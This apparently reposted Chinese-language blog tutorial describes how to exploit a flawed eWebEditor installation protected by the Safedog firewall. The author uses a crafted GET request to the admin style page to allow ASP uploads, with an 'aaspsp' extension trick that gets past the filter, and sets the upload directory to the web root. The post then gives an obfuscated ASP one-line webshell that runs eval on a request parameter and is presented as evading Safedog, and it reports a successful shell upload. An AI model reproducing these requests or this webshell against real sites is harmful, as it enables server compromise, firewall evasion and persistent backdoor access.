题目说到了问题和突破,问题的ewebeditor程序,这儿程序问题出来哪儿呢? 1.登陆的地方被删除了,也就是admin_login.asp这个页面被删除了。 2.是post提交好像有问题,不管点击那个提交post都会跳转到登陆页面,但是登陆页面又没有,如果直接访问那个页面,当然也可以访问。 当然上边说到的突破,所谓突破也就是说非常规的环境,非常规的手法去实现同一个目的。下面说一下这个非常规的环境。 1.问题ewebeditor 2.服务器装有安全狗 下面是我测试的过程: 首先当然是增加样式,但是常规的post提交失败,于是我想到了想这样的在老程序他一般都是使用request接受数据的,于是乎我 下载 了 源码 看了下,如果如此: 01 ' 检测样式表单提交的有效性 02 sStyleName = Trim(Request("d_name")) 03 sStyleDir = Trim(Request("d_dir")) 04 sStyleCSS = Trim(Request("d_css")) 05 sStyleUploadDir = Trim(Request("d_uploaddir")) 06 sStyleBaseHref = Trim(Request("d_basehref")) 07 sStyleContentPath = Trim(Request("d_contentpath")) 08 sStyleWidth = Trim(Request("d_width")) 09 sStyleHeight = Trim(Request("d_height")) 10 sStyleMemo = Request("d_memo") 11 sStyleImageExt = Request("d_imageext") 12 sStyleFlashExt = Request("d_flashext") 13 sStyleMediaExt = Request("d_mediaext") 14 sStyleRemoteExt = Request("d_remoteext") 15 sStyleFileExt = Request("d_fileext") 16 sStyleImageSize = Request("d_imagesize") 17 sStyleFlashSize = Request("d_flashsize") 18 sStyleMediaSize = Request("d_mediasize") 19 sStyleRemoteSize = Request("d_remotesize") 20 sStyleFileSize = Request("d_filesize") 21 sStyleStateFlag = Request("d_stateflag") 22 sStyleAutoRemote = Request("d_autoremote") 23 sStyleShowBorder = Request("d_showborder") 24 sStyleUploadObject = Request("d_uploadobject") 25 sStyleAutoDir = Request("d_autodir") 26 sStyleDetectFromWord = Request("d_detectfromword") 27 sStyleInitMode = Request("d_initmode") 28 sStyleBaseUrl = Request("d_baseurl") 他的数据接受都是request,也就是说他会接受post和get和cookie提交上去的数据。 当然此处post失效了,所以我抓了下包,得到如下数据 01 http:// www.2cto .com /system/eWebEditor/admin_style. asp ?action=StyleSetSave&id=50
02 03 POST /system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50 HTTP/1.1 04 Host: xxxx.com 05 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0 06 Accept: text/ html ,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 07 Accept-Language: en-US,en;q=0.5 08 Accept-Encoding: gzip, deflate 09 Connection: keep-alive 10 Referer: http:// www.2cto .com /system/eWebEditor/admin_style.asp?action=styleset&id=50
11 Cookie: ASPSESSIONIDSABCQBBT=KHLJMNEAEKNNMGAMJAFHCPOK 12 Content-Type: application/x-www-form-urlencoded 13 Content-Length: 740 14 d_name=standard1&d_initmode=EDIT&d_uploadobject=0&d_autodir=0&d_dir=standard&d_css=office&d_width=550&d_height=350&d_stateflag=1&d_detectfromword=true&d_autoremote=1&d_showborder=0&d_baseurl=1&d_uploaddir=UploadFile%2F&d_basehref=&d_contentpath=&d_imageext=gif%7Cjpg%7Cjpeg%7Cbmp%7C%3Basa.ass%3B.jpg&d_imagesize=500&d_flashext=swf&d_flashsize=100&d_mediaext=rm%7Cmp3%7Cwav%7Cmid%7Cmidi%7Cra%7Cavi%7Cmpg%7Cmpeg%7Casf%7Casx%7Cwma%7Cmov&d_mediasize=100&d_fileext=rar%7Czip%7Cexe%7Cdoc%7Cxls%7Cchm%7Chlp&d_filesize=500&d_remoteext=gif%7Cjpg%7Cjpeg%7Cbmp&d_remotesize=100&d_memo=Office%B1%EA%D7%BC%B7%E7%B8%F1%A3%AC%B2%BF%B7%D6%B3%A3%D3%C3%B0%B4%C5%A5%A3%AC%B1%EA%D7%BC%CA%CA%BA%CF%BD%E7%C3%E6%BF%ED%B6%C8%A3%AC%C4%AC%C8%CF%D1%F9%CA%BD&x=42&y=11 于是使用构造get提交方式: http://xxxx.com/system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50&d_name=standard1&d_initmode=EDIT&d_uploadobject=0&d_autodir=0&d_dir=standard&d_css=office&d_width=550&d_height=350&d_stateflag=1&d_detectfromword=true&d_autoremote=1&d_showborder=0&d_baseurl=1&d_uploaddir=%2F&d_basehref=&d_contentpath=&d_imageext=gif%7Cjpg%7Cjpeg%7Cbmp%7Casaspp%7Ccer%7cASA&d_imagesize=500&d_flashext=swf&d_flashsize=100&d_mediaext=rm%7Cmp3%7Cwav%7Cmid%7Cmidi%7Cra%7Cavi%7Cmpg%7Cmpeg%7Casf%7Casx%7Cwma%7Cmov&d_mediasize=100&d_fileext=rar%7Czip%7Cexe%7Cdoc%7Cxls%7Cchm%7Chlp&d_filesize=500&d_remoteext=gif%7Cjpg%7Cjpeg%7Cbmp&d_remotesize=100&d_memo=Office%B1%EA%D7%BC%B7%E7%B8%F1%A3%AC%B2%BF%B7%D6%B3%A3%D3%C3%B0%B4%C5%A5%A3%AC%B1%EA%D7%BC%CA%CA%BA%CF%BD%E7%C3%E6%BF%ED%B6%C8%A3%AC%C4%AC%C8%CF%D1%F9%CA%BD&x=42&y=11 然后直接访问时,他显示是提交成功了,实际上也米有成功,需要我们先访问:
http://xxxx.com/system/eWebEditor/admin_style.asp?action=styleset&id=50 然后在在地址栏中输入上边的get提交数据,就会显示成功。 这儿我们可以修改样式了,但是安全狗作怪使得asa、cer和asp;jpg等等的修改都无效,但是aaspsp这样的修改绕过去了安全狗,这儿可能是程序天然给我们的一个绕安全狗的方法吧!程序本身使用的代码有问题,他会替换aaspsp中完整的asp部分为空格使得剩下的部分还是asp,这儿的代码依旧是一个替换函数,就不多说了,前辈们已经写了很多了。就是这样的一个代码写法使得我们天然绕过了安全狗上传asp的文件了,重这里我们也可以得到启发,以后我们绕安全狗是不是也可以使用这样的代码写法去绕过,话不多说,留下余香。 接下来我曾填好了可以传的后缀asp,但是视乎目录有问题,以前默认的目录是uploadfiles这个文件目录,视乎是做了限制,于是我想到了修改上传文件目录,当然你可以仔细看我上边构造的哪个get提交上边的d_uploaddir属性的值是%2F,也就是一个/,于是我传上去的文件在根目录下。 当然这儿已经为我们上传做好了所有铺垫了,我们现在只需要一个可以绕过安全狗的马就ok了。 还记得以前解密一个asp木马的时候,里面有一个后门,当时只是以为那个是一个后门,但是后面有心人测试发现这个后门很是了得可以绕过护卫神,今天我又用它绕过了安全狗。 01 <% 02 codeds="Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li" 03 execute (decode (codeds) ) 04 Function DeCode (Coded) 05 On Error Resume Next 06 For i = 1 To Len (Coded) 07 Curchar = Mid (Coded, i, 1) 08 If Asc (Curchar) = 16 then 09 Curchar = chr (8) 10 Elseif Asc (Curchar) = 24 then 11 Curchar = chr (12) 12 Elseif Asc (Curchar) = 32 then 13 Curchar = chr (18) 14 Else 15 Curchar = chr (Asc (Curchar) -3) 16 End if 17 DeCode = Decode&Curchar 18 Next 19 End Function 20 'response.write(decode(codeds)) 21 %> 最后突破成功!上传一句话成功!!! from:http://lanu.sinaapp.com/jishuwenzhang/113.html
查看更多关于问题ewebeditor编辑器突破安全狗 - 网站安全 - 自学的详细内容...